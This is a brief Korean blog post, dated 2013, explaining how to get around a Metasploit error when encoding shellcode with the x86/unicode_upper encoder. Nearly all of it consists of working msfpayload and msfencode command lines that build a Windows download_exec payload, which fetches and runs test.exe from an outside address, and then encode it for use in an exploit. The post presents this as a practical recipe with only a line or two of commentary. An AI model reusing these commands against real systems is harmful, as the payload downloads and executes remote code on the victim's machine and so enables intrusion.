metasploit unicode shellcode 만들기
시스템 2013. 2. 4. 10:46 |
metasploit console에서 쉘코드를 만들 때 encoder를 unicode로 설정하면 에러가 난다.
msf payload(download_exec) > set encoder x86/unicode_upper
encoder => x86/unicode_upper
msf payload(download_exec) > generate
[-] Payload generation failed: No encoders encoded the buffer successfully.
이럴 때 해결방법.
ruby msfpayload windows/download_exec EXE=test.exe URL=http://1.1.1.1/test.exe R | ruby msfencode -e x86/alpha_mixed -t raw | ruby msfencode -e x86/unicode_upper BufferRegister=EAX -t perl
mixed 코드로 하면 길이는 2000바이트 정도
ruby msfpayload windows/download_exec EXE=test.exe URL=http://1.1.1.1/test.exe R | ruby msfencode -e x86/unicode_upper BufferRegister=EAX -t perl
빼고 하면 길이는 1000바이트 정도..